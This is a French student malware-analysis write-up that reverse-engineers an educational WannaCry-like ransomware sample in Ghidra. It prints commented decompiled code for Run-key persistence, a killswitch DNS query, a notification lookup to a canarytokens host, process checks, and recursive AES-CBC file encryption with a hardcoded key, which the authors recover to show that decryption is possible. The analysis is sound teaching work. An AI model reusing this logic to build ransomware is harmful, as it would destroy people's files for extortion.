Analyse WannaCry

Afin de comprendre le fonctionnement de WannaCry nous utilisons le logiciel Ghidra dans une démarche de reverse ingénierie

Analyse du binaire wannacry.

Cartographie des fonctions du binaire.

DM3_bis

Analyse de chaque fonction.

Voir la fonction entièrement renommée et commentée : Print_func.c

Cette fonction est une simple fonction de print.

Mise_En_Place.

Dans un premier temps, la fonction Mise_En_Place se lance.
C’est une étape préliminaire au chiffrement, elle permet à wannacry de s’installer durablement dans la machine et de faire des vérifications sur le système pour déterminer se lancer ou non.

Voir la fonction entièrement renommée et commentée : Mise_En_Place.c

Dans un premier temps, dans la fonction Mise_En_Place, wannacry commence par appeler une fonction d’affichage.
Elle affiche des modalités qui seront affichées lors du démarrage du programme.

  Print_func(L"This program has been made for educational purpose only.\n DO NOT USE IT OR ALTER IT ."
              ,param_2,param_3,param_4);
  Print_func(&DAT_140004500,param_2,param_3,param_4);

Ensuite, wannacry va ajouter une ligne dans un registre windows sous le nom “SuperProgram”, afin de pouvoir s’exécuter à chaque démarrage de session.
Ainsi, s’il venait à l’idée d’un utilisateur infecté de juste jeter son disque et d’en rebrancher un autre, il serait lui aussi infecté.

                    /* Création d'une clé, donnant accès à un registre windows, afin de
                       permettre au programme de s'exécuter à chaque démarrage de session. */
  registry_call_status =
       RegCreateKeyW((HKEY)0xffffffff80000002,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                     created_key_registry);
                    /* Vérifie que la clé d'accès a été créée */
  if (registry_call_status == 0) {
    executable_path_size = wcsnlen(L"C:\\tmp\\dm3bis.exe",0x104);
                    /* Ajout d'une ligne dans le registre contenant le chemin de son programme */
    registry_call_status =
         RegSetValueExW(created_key_registry[0],L"SuperProgram",0,2,(BYTE *)L"C:\\tmp\\dm3bis.exe",
                        (int)executable_path_size * 2);
                    /* Si le registre a bien été modifié, le registre est fermé */
    if (registry_call_status == 0) {
      RegCloseKey(created_key_registry[0]);
    }
  }

Il s’agit ici du killswitch de wannacry.
En effet, le programme va faire une requête DNS vers le nom de domaine zoglu.de. Si la requête DNS n’aboutit pas alors le programme s’éxécute (nous pensons qu’il y a peu être une erreur dans le sujet à cet endroit, en effet un check call_status != 0 aurait signifié, pour n’importe quelle réponse DNS n’ayant pas abouti).
Ce processus de killswitch bien qu’il puisse sembler étrange au premier abord, peut servir aux attaquants à se protéger de leurs propre virus. Sur leur domaine, ils mettent en place un DNS local résolvant le domaine que seul eux connaissent, et ainsi toutes les machines sur leurs domaines sont protégés.
Lorsque l’attaque est lancée, une dernière requête DNS est lancée.
Le code de retour de celle-ci n’est pas vérifié, ce qui laisse donc penser que ca n’est pas un killswitch mais plutôt une requête de notification pour signifier que l’attaque a été lancé.

                    /* Requête DNS envoyée à zoglu.de.
                       Hypothèse: 
                         Il s'agit probablement du killswitch, qui arrêterait l'exécution du
                       programme si le serveur dns répondait. Il continuerait son exécution sinon.
                        */
  call_status = DnsQuery_W(L"zoglu.de",1,8,0);
                    /* Si le DNS ne répond pas, la fonction retourne 1, on continue alors
                       l'exécution du programme */
  if (call_status != 1) {
                    /* Signal envoyé à l'attaquant pour le prévenir que la machine vient d'être
                       infectée */
    DnsQuery_W(L"2y6268x13ic4o8b0y4rinj4kz.canarytokens.com",1,8,0);

A présent wannacy va itérer dans les process windows afin d’en trouver un susceptible de provoquer ce qui semble être un deuxième killswitch.
Pour cela, il faut récupérer une snapshot du système actuel afin d’en récupérer le premier process.

    snapshot = (HANDLE)CreateToolhelp32Snapshot(2,0);
    if (snapshot != (HANDLE)0xffffffffffffffff) {
                    /* Initialise la taille de la structure qui contiendra les infos relative à un
                       process donné */
      process_info[0] = 0x238;
                    /* Récupère le premier process de la snapshot */
      call_status = Process32FirstW(snapshot,process_info);
                    /* Rentre si les informations du process n'ont pas pu être récupéré (FALSE =
                       0)
                        */

Par la suite, on itère dans les process en appelant le suivant du courant.
Une comparaison est faite entre deux strings, si elle est vérifiée alors on saute dans EXIT_LABEL et on sort de la boucle sans appeler la fonction qui va chiffrer.
C’est ce qui laisse penser qu’il s’agit d’une vérification des process déclenchants un autre killswitch à la rencontre d’un certain process.
Si aucun process ne déclenche le killswitch, alors la snapshot est fermé et la fonction Recursive_file_cipherer est appelé pour chiffrer tout le disque C.

      if (call_status == 0) {
EXIT_LABEL:
                    /* Label de sortie du else, et ferme la snapshot */
        CloseHandle(snapshot);
      }
      else {
        do {
          ppuVar1 = &PTR_u_Calculator.exe_140004428;
          i = 0;
          do {
                    /* Comparaison deux chaines sur le 0x104 caractères */
            call_status = wcsncmp(local_22c,(wchar_t *)*ppuVar1,0x104);
                    /* Rentre dans le if si le cmp (ligne au-dessus) compare 2 chaines identiques */
            if (call_status == 0) goto EXIT_LABEL;
            i = i + 1;
            ppuVar1 = (undefined **)((wchar_t **)ppuVar1 + 1);
          } while (i < 4);
                    /* Récupère le process suivant */
          call_status = Process32NextW(snapshot,process_info);
        } while (call_status != 0);
        CloseHandle(snapshot);
        Recursive_file_cipherer(L"C:\\");
      }

Recursive_file_cipherer.

Lorsque la fonction Mise_En_Place a setup ce dont wannacry a besoin (installation à l’ouverture de session), et qu’il s’est assuré qu’il faille se déclencher (killswitchs), alors le chiffrement peut commencer.
Pour cela, la fonction Recursive_file_cipherer est appelée.
Celle-ci va itérer sur tous les fichiers et dossiers courants qui ne sont pas ‘.’ ou ‘..’. Lorsqu’elle rencontre un fichier, elle le traite, pour les dossiers, elle fait un appel récursif sur celui-ci.
Pour chaque fichier wannacry va vérifier qu’il possede bien ‘.srs’ et qu’il n’a pas déjà été chiffré.
Si c’est le cas, alors il peut ouvrir le fichier, envoyer son contenu dans la fonction chargé du chiffrement puis re écrire le contenu du fichier avec le résultat de la fonction.

Voir la fonction entièrement renommée et commentée : Recursive_file_cipherer.c

Dans un premier temps, wannacry va initialiser file_data avec un path sous forme de regexp.
Nous pouvoir voir que lors du premier appel de la fonction récursive, le path sera ‘C:*’, le chiffrement sera donc effectué sur tous les fichiers à partir de la racine du disque C.

  memset(path_as_regex,0,0x208);
                    /* Concaténation de 2 string pour constituer les paths qui vont être
                       parcourus: (param_1\*)
                        */
  wcscat_s(path_as_regex,0x104,root_c_path);
  wcscat_s(path_as_regex,0x104,L"\\*");
  lpNumberOfBytesRead = (LPDWORD)0x0;
  lpFindFileData = (_WIN32_FIND_DATAW *)&current_file_data;
                    /* Cherche le premier fichier qui match le path (C:\*) */
  file_data = FindFirstFileExW(path_as_regex,FindExInfoStandard,lpFindFileData,FindExSearchNameMatch
                               ,(LPVOID)0x0,0);
                    /* Si le handle n'a pas pu être créé */
  local_6c8 = file_data;

Si rien ne match, alors on print un message d’erreur et on jump à la dernière instruction qui ferme le fichier.

  if (file_data == (HANDLE)0xffffffffffffffff) {
    file_attributs = GetLastError();
    FUN_140001490("FindFirstFileEx failed (%d)\n",(ulonglong)file_attributs,lpFindFileData,
                  lpNumberOfBytesRead);
  }

Nous pouvons désormais itérer dans fichiers et dossiers du dossier courant.
Pour chaque fichier/dossier qui n’est pas ‘.’ ou ‘..’, alors nous rentrons dans le corps de la fonction.
Si nous sommes sûrs ‘.’ ou ‘..’, alors on passe directement au fichier/dossier suivant.

else {
    int_check = FindNextFileW(file_data,(LPWIN32_FIND_DATAW)&current_file_data);
                    /* Itere tant que il y a des fichiers dans le dossier actuel */
    while (int_check != 0) {
                    /* Rentre dans le if si le path n'est pas '.' ou '..' */
      if ((current_filename[0] != L'.') ||
         (((current_filename[1] != L'.' || (current_filename[2] != L'\0')) &&
          (current_filename[1] != L'\0')))) {

Pour chaque fichier, nous construisons son path depuis le dossier courant.

memset(current_file_path,0,0x208);
        wcscat_s(current_file_path,0x104,root_c_path);
        wcscat_s(current_file_path,0x104,L"\\");
        wcscat_s(current_file_path,0x104,((_WIN32_FIND_DATAW *)&current_file_data)->cFileName);

Nous pouvons ensuite vérifier si nous sommes bien sur un fichier ou un dossier.
Si nous sommes sur un fichier, alors nous pouvons entammer le processus de chiffrement de celui-ci.

                    /* Vérifie qu'on est sur un fichier */
        if ((current_file_data & 0x10) == 0) {

Il semble à ce moment-là que Wannacry ne va chiffrer que les fichiers dont il connaît l’extension.
Il commence déjà par vérifier que le nom du fichier contient bien un ‘.’ (pour l’extension).
Il va ensuite itérer les 171 extensions stockés en mémoire. Lorsque l’extension du fichier match avec l’extension courante, nous rentrons dans le if et le fichier pourra être chiffré.

                    /* Récupère la len du filename */
          current_filename_length =
               wcsnlen(((_WIN32_FIND_DATAW *)&current_file_data)->cFileName,0x104);
                    /* Cherche le dernier point dans le nom du fichier et retroune un ptr dessus */
          ptr_last_dot_filename =
               StrRChrW(((_WIN32_FIND_DATAW *)&current_file_data)->cFileName,
                        (LPCWSTR)((longlong)((_WIN32_FIND_DATAW *)&current_file_data)->cFileName +
                                 current_filename_length * 2),L'.');
                    /* Vérifie que le fichier contient bien un point */
          if (ptr_last_dot_filename == (LPWSTR)0x0) break;
          i = 0;
                    /* Itère sur les 0xab extensions */
          unicode_ptr_docx = &PTR_u_.docx_140003ed0;
          do {
                    /* Vérifie si le fichier fini par l'extension courante */
            int_check = wcsncmp(ptr_last_dot_filename,(wchar_t *)*unicode_ptr_docx,0x104);
                    /* Si le fichier a l'extension courante, on rentre dans le if */
            if (int_check == 0) {

À ce moment la nous nous rendons compte qu’il faut que l’extension soit .srs et pas une autre parmi toutes celles du tableau.
Il s’agit sûrement là d’une sécurité pour l’exercice et pour que ce binaire ne soit pas réutilisé dans un but malveillant dans la vraie vie.

              cmp_size = 0x104;
              srs_extension = L".srs";
              int_check = wcsncmp(ptr_last_dot_filename,L".srs",0x104);
                    /* Si le fichier fini par l'extension .srs */
              if (int_check == 0) {

Il s’agit là de la dernière vérification faite par wannacry avant d’entamer le chiffrement.
Il vérifie que le fichier n’a pas déjà été chiffré.

                    /* Cherche les attribut des fichier et les retourne dans une type de 32 bites,
                       dont chaque bit représente un attribut (true ou false) */
                file_attributs = GetFileAttributesW(current_file_path);
                    /* On vérifie que le 14ème attribut est false, càd: FILE_ATTRIBUTE_ENCRYPTED
                       (2^14) = 0 = False
                        */
                if ((file_attributs >> 0xe & 1) == 0) {

Wannacry ouvre le fichier en mode lecture et en récupère le contenu.

                  lpNumberOfBytesRead = (LPDWORD)0x0;
                    /* dernier bit set à 1 (GENERIC_READ) mode lecture du fichier à chiffrer. */
                  file_data = CreateFileW(current_file_path,0x80000000,0,(LPSECURITY_ATTRIBUTES)0x0,
                                          3,0x80,(HANDLE)0x0);
                    /* Vérifie que le fichier a bien pu etre ouvert et qu'il n'est pas vide. Ecrase
                       file_attributs par la taille du fichier */
                  if ((file_data != (HANDLE)0x0) &&
                     (file_attributs = GetFileSize(file_data,(LPDWORD)0x0), file_attributs != 0)) {
                    /* Get le début de la heappar défaut du process en cours */
                    heap_process = GetProcessHeap();
                    /* Alloue la taille du fichier sur le tas */
                    heap_allocation = HeapAlloc(heap_process,8,(ulonglong)file_attributs);
                    /* Vérifie que l'allocation a pu etre faite */
                    if (heap_allocation != (LPVOID)0x0) {
                      lpNumberOfBytesRead = &local_6b8;
                      file_size = (undefined)file_attributs;
                      heap_process = file_data;
                      pvVar1 = heap_allocation;
                    /* Lis file_attributs bytes du fichier */
                      file_check = ReadFile(file_data,heap_allocation,file_attributs,
                                            lpNumberOfBytesRead,(LPOVERLAPPED)0x0);

On peut désormais appeler notre fonction de chiffrement avec le contenu de notre fichier en paramètre.
Le contenu chiffré sera stocké dans encrypted_file_content.

                    /* Stock dans la variable précédente le contenu chiffré du fichier */
                        int_check = Chiffrement((char)heap_process,(char)pvVar1,file_size,
                                                (char)lpNumberOfBytesRead,heap_allocation,
                                                file_attributs,&encrypted_file_content,local_6d8);
                    /* Vérifie que le chiffrement a été fais et que le fichier a correctement
                       été fermé */
                        if ((int_check != 0) &&
                           (file_check = CloseHandle(file_data), file_check != 0)) {
                          lpNumberOfBytesRead = (LPDWORD)0x0;

Wannacry n’a plus qu’a ouvrir le fichier en mode écriture (ici toutes les permissions) et à écraser le contenu par encrypted_file_content calculé précedemment.

                    /* Vérifie que le chiffrement a été fais et que le fichier a correctement
                       été fermé */
                        if ((int_check != 0) &&
                           (file_check = CloseHandle(file_data), file_check != 0)) {
                          lpNumberOfBytesRead = (LPDWORD)0x0;
                    /* Ouvre le fichier à chiffrer avec toutes les permissions (GENERIC_ALL) */
                          file_data = CreateFileW(current_file_path,0x10000000,0,
                                                  (LPSECURITY_ATTRIBUTES)0x0,2,0x4000,(HANDLE)0x0);
                    /* Vérifie que le fichier est correctement ouvert */
                          if (file_data != (HANDLE)0x0) {
                            lpNumberOfBytesRead = local_6b4;
                    /* Ecrase le contenu du fichier avec le contenu chiffré */
                            file_check = WriteFile(file_data,encrypted_file_content,local_6d8[0],
                                                   lpNumberOfBytesRead,(LPOVERLAPPED)0x0);
                    /* Vérifie que l'écriture a été faites correctement */
                            if (file_check != 0) {
                              CloseHandle(file_data);
                            }

Ici nous pouvons voir le while associé au ‘do’ précèdent qui permet d’itérer dans les extensions.

            i = i + 1;
                    /* Passe à l'extension suivante */
            unicode_ptr_docx = (undefined **)((wchar_t **)unicode_ptr_docx + 1);
            file_data = local_6c8;
            root_c_path = local_6c0;
          } while (i < 0xab);

Nous avons là l’appel récursif qui sera appelé si nous sommes sur un dossier.

        else {
                    /* Appel récursif pour les dossiers */
          Recursive_file_cipherer(current_file_path);
        }

Chiffrement.

Voir la fonction entièrement renommée et commentée : Chiffrement.c

La fonction Chiffrement commence par faire quelques initialisations qui vont permettre d’interagir avec l’API de chiffrement windows et récupère un CNG provider associé au chiffrement que nous voulons effectuer.
Nous pouvons voir que l’algorithme de chiffrement utilisé par wannacry sera “AES”.

                    /* Charge et initialise un CNG provider. Le CNG permet l'interaction avec l'API
                       de cryptographie windows. */
  call_status = BCryptOpenAlgorithmProvider(&crypt_handle,L"AES",(LPCWSTR)0x0,0);
                    /* Cas d'erreur de l'obtention du CNG provider */
  if ((int)call_status < 0) {
    Debug_print(&DAT_140003358,(ulonglong)call_status,propertie_value_buffer_size,flags);
    allocated_heap_block_2 = allocated_heap_block_ptr;
    pbInput = allocated_heap_block_ptr;
    allocated_heap_block = allocated_heap_block_ptr;
                    /* Cas de succès de l'obtention du CNG provider */
  }
  else {
    propertie_value = propertie_value_buffer;
    propertie_value_buffer_size = 4;

Si l’initialisation a fonctionné, nous pouvons continuer le chiffrement.
Nous récupérons l’attribut ObjectLength dans “crypt_handle”. Cela va servir à AES. En effet, celui-ci va chiffrer bloc par bloc, nous parlons ici de la taille d’un bloc, soit 16 bytes pour AES.

                    /* Récupère l'attribut ObjectLength de l'objet CNG provider */
    call_status_2 =
         BCryptGetProperty(crypt_handle,L"ObjectLength",(PUCHAR)propertie_value,4,nb_copied_bytes,0)
    ;
    call_status = propertie_value_buffer[0];
                    /* Cas d'erreur de l'obtention de l'attribut ObjectLength du CNG provider */
    if ((int)call_status_2 < 0) {
      Debug_print(&DAT_140003358,(ulonglong)call_status_2,propertie_value,
                  propertie_value_buffer_size);
    }
    else {
                    /* Cas de succès de l'obtention de l'attribut ObjectLength du CNG provider.
                       Récupère un handle sur la heap du process courant */
      current_process_heap_handle = GetProcessHeap();
      CNG_provider_ObjectLength = (ulonglong)call_status;
      flags = 0;
                    /* Alloue un buffer sur la heap du process courant de la taille de l'objet CNG
                       provider */
      allocated_heap_block =
           (PUCHAR)HeapAlloc(current_process_heap_handle,0,CNG_provider_ObjectLength);
                    /* Si l'allocation sur la heap n'a pas fonctionné */
      if (allocated_heap_block == (PUCHAR)0x0) {
        Debug_print(&DAT_1400033a8,flags,CNG_provider_ObjectLength,propertie_value_buffer_size);
        allocated_heap_block_2 = allocated_heap_block_ptr;
        pbInput = allocated_heap_block_ptr;
      }
      else {
                    /* Si l'allocation sur la heap a fonctionné */
        propertie_value = &CNG_provider_BlockLength_variable;
        propertie_value_buffer_size = 4;
                    /* Récupère l'attribut BlockLength de l'objet CNG provider */
        call_status = BCryptGetProperty(crypt_handle,L"BlockLength",(PUCHAR)propertie_value,4,
                                        nb_copied_bytes,0);
                    /* Cas d'erreur de l'obtention de l'attribut BlockLength du CNG provider */
        if ((int)call_status < 0) {
          Debug_print(&DAT_140003358,(ulonglong)call_status,propertie_value,
                      propertie_value_buffer_size);
        }
        else {
                    /* Cas de succès de l'obtention de l'attribut BlockLength du CNG provider */
          CNG_provider_ObjectLength = (ulonglong)CNG_provider_BlockLength_variable;
          if (CNG_provider_BlockLength_variable < 0x11) {
                    /* Récupère un handle sur la heap du process courant */
            current_process_heap_handle = GetProcessHeap();
            flags = 0;
                    /* Alloue un buffer sur la heap du process courant de la taille de l'objet CNG
                       provider */
            allocated_heap_block_2 =
                 (PUCHAR)HeapAlloc(current_process_heap_handle,0,CNG_provider_ObjectLength);
                    /* Si l'allocation sur la heap n'a pas fonctionné */
            if (allocated_heap_block_2 == (PUCHAR)0x0) {
              Debug_print(&DAT_1400033a8,flags,CNG_provider_ObjectLength,propertie_value_buffer_size
                         );
            }

Wannacry copie ici une chaîne de caractères dans le tas.
Cette chaîne de caractère est peut être la plus importante de tout wannacry avec la clé, elle contient les 16 premiers bytes de “la srs c’est vraiment super !!!!” Soit “la srs c’est vra”.
Nous verrons plus tard à quoi elle sert.

            else {
                    /* Si l'allocation sur la heap a fonctionné.
                       Copie la clé complète 'la srs c'est vraiment super !!!!' dans la mémoire
                       allouée sur la heap précédemment (allocated_heap_block_2) */
              memcpy(allocated_heap_block_2,s_la_srs_c'est_vraiment_super_!!!!_140006038,
                     (ulonglong)CNG_provider_BlockLength_variable);

À ce moment, wannacry va finir de paramétrer son chiffrement.
Pour cela, il utilise la fonction BCryptSetProperty en lui passant la taille du bloc précédemment calculé ainsi que le mode “ChainingModeCBC” (Cipher Bloc Chaining) pour un chaînage en bloc.
Lorsque la fonction de chiffrement sera appelée, elle prendra en compte tous les paramètres ajoutés.

              CNG_provider_new_propertie_value = L"ChainingModeCBC";
              propertie_value_buffer_size = 0x20;
                    /* Modifie une propriété de l'object CNG provider: ChainingMode =
                       ChainingModeCBC */
              call_status = BCryptSetProperty(crypt_handle,L"ChainingMode",
                                              (PUCHAR)L"ChainingModeCBC",0x20,0);
                    /* Si la modification de la propriété ChainingMode a échoué */
              if ((int)call_status < 0) {
                Debug_print(&DAT_140003358,(ulonglong)call_status,CNG_provider_new_propertie_value,
                            propertie_value_buffer_size);
              }
              else {
                    /* Si la modification de la propriété ChainingMode a réussi */
                CNG_provider_ObjectLength = (ulonglong)propertie_value_buffer[0];
                allocated_heap_block_ptr = allocated_heap_block;

Nous arrivons à un moment clé. Celui de la génération de la clé symétrique pour AES.
Celle-ci est faite à partir d’une chaîne de caractère, ici s_la_srs_c’est_vraiment_super_!!!!_140006038 + 0x10 soit “iment super !!!!”.
La clé est stockée dans key_handle.

                    /* Génère la clé symétrique avec la chaine de caractère 'iment_super_!!!!'
                        */
                call_status = BCryptGenerateSymmetricKey
                                        (crypt_handle,&key_handle,allocated_heap_block,
                                         propertie_value_buffer[0],
                                         (PUCHAR)(s_la_srs_c'est_vraiment_super_!!!!_140006038 +
                                                 0x10),0x10,0);
                if ((int)call_status < 0) {
                  Debug_print(&DAT_140003358,(ulonglong)call_status,allocated_heap_block_ptr,
                              CNG_provider_ObjectLength);
                }

Avant de lancer le chiffrement, wannacry fait des allocations sur le tas puis lance un test préliminaire sans récupérer le résultat du chiffrement.

                else {
                  dwBytes = (ulonglong)file_attributs;
                  current_process_heap_handle = GetProcessHeap();
                  propertie_value_buffer_size = 0;
                  uVar1 = dwBytes;
                  pbInput = (PUCHAR)HeapAlloc(current_process_heap_handle,0,dwBytes);
                  if (pbInput == (PUCHAR)0x0) {
                    Debug_print(&DAT_1400033a8,propertie_value_buffer_size,uVar1,
                                CNG_provider_ObjectLength);
                  }
                  else {
                    memcpy(pbInput,heap_allocation,dwBytes);
                    propertie_value_buffer_size = 0;
                    CNG_provider_ObjectLength = (ulonglong)file_attributs;
                    call_status_2 =
                         BCryptEncrypt(key_handle,pbInput,file_attributs,(void *)0x0,
                                       allocated_heap_block_2,CNG_provider_BlockLength_variable,
                                       (PUCHAR)0x0,0,&output_buffer_encryption_size,1);
                    call_status = output_buffer_encryption_size;
                    if ((int)call_status_2 < 0) {
                      Debug_print(&DAT_140003358,(ulonglong)call_status_2,CNG_provider_ObjectLength,
                                  propertie_value_buffer_size);
                    }

S’il n’y a pas de problème, nous pouvons chiffrer le contenu du fichier.
La fonction BCryptEncrypt est utilisée. Elle prend en paramètre 2 clés qui sont les éléments les plus importants de tout wannacry.
Nous expliquerons plus précisément leurs utilités dans la partie ‘REVERSE : Analyse de binaire’.
key_handle est la clé et allocated_heap_block_2 le initialization vector.
file_attributs est le contenu du fichier que nous voulons chiffrer et encrypted_file_content la variable dans laquelle sera stocké le résultat chiffré.
C’est elle qui sera récupérée dans la fonction appelant Chiffrement().

                    else {
                      current_process_heap_handle = GetProcessHeap();
                      allocated_heap_block_ptr =
                           (PUCHAR)HeapAlloc(current_process_heap_handle,0,(ulonglong)call_status);
                      *encrypted_file_content = allocated_heap_block_ptr;
                      *param_8 = output_buffer_encryption_size;
                      propertie_value_buffer_size = 0;
                    /* Appelle une fonction de chiffrement.
                       Stock le résultat du chiffrement dans encrypt_file_content */
                      call_status = BCryptEncrypt(key_handle,pbInput,file_attributs,(void *)0x0,
                                                  allocated_heap_block_2,
                                                  CNG_provider_BlockLength_variable,
                                                  *encrypted_file_content,
                                                  output_buffer_encryption_size,nb_copied_bytes,1);
                      if ((int)call_status < 0) {
                        Debug_print(&DAT_140003358,(ulonglong)call_status,dwBytes,
                                    propertie_value_buffer_size);
                      }

Avant de se terminer, le programme libère les différentes choses alloués lors de son fonctionnement.

  if (crypt_handle != (BCRYPT_ALG_HANDLE)0x0) {
                    /* Ferme le handler CNG provider */
    BCryptCloseAlgorithmProvider(crypt_handle,0);
  }
  if (key_handle != (BCRYPT_KEY_HANDLE)0x0) {
                    /* Ferme le handler contenant la clé de chiffrement */
    BCryptDestroyKey(key_handle);
  }
  if (pbInput != (PUCHAR)0x0) {
    current_process_heap_handle = GetProcessHeap();
                    /* Libère le premier buffer alloué sur la heap */
    HeapFree(current_process_heap_handle,0,pbInput);
  }
  if (allocated_heap_block != (PUCHAR)0x0) {
    current_process_heap_handle = GetProcessHeap();
                    /* Libère le deuxième buffer alloué sur la heap */
    HeapFree(current_process_heap_handle,0,allocated_heap_block);
  }
  if (allocated_heap_block_2 != (PUCHAR)0x0) {
    current_process_heap_handle = GetProcessHeap();
                    /* Libère le troisième buffer alloué sur la heap */
    HeapFree(current_process_heap_handle,0,allocated_heap_block_2);
  }

Réversibilité du chiffrement.

Pour comprendre si les fichiers qui ont été chiffrés sont déchiffrables, il faut comprendre le principe du chiffrement utilisé.

DM3_bis

Lors d’un chiffrage par bloc, chaînes, le texte complet est découpés en bloc de taille fixe. Le chiffrement de chaque bloc est fait à partir de la clé secrète et du texte chiffré du bloc précédant. Il apparaît donc que nous avons un problème pour chiffrer le premier bloc. Pour chiffrer celui-ci, on utilise un IV (initialization vector) qui tout comme la clé, est un secret.

DM3_bis

Il apparaît que le déchiffrement de chaque bloc mise à part le premier ne nécessite que la clé secrète, et le premier que le IV. Ces deux secrets sont donc les seuls éléments à trouver pour pouvoir déchiffrer. Puis ce que nous les avons comme vu précédemment, le déchiffrement est donc possible.